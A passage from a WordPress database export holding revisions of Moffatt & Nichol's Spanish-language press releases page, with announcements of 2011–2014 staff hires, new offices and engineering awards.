href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-20','','','2013-12-23 18:07:04','2013-12-23 18:07:04','',1399,'http://moffattnichol.com/spanish/1399-revision-20/',0,'revision','',0),(2816,1,'2014-02-17 19:33:07','2014-02-17 19:33:07','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros 